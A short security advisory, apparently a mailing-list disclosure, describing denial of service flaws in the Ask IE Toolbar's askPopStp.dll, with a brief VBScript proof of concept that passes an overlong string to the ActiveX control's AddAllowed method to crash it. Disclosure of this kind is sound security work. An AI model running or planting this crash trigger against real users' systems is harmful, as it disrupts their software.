Multiple Ask IE Toolbar denial of service vulnerabilities

["Michal Bucko" <michal.bucko () hack pl>]

Synopsis:  Multiple Ask IE Toolbar denial of service vulnerabilities
Product:   Netsprint Toolbar
Version:   1.1

Author:    Michal Bucko (sapheal)


Issue:
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Multiple functions (in askPopStp.dll) suffer from improper 
memory handling, which results in denial of service conditions.


Details:
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Sample demonstration file (WSH script) is shown below.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:89D30B4C-2408-4E78-A334-8FF8A9713EA7' id='target' />
<script language='vbscript'>

arg=String(4000, "A")

target.AddAllowed arg

</script></job></package>




Credits:
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Michal Bucko (sapheal)



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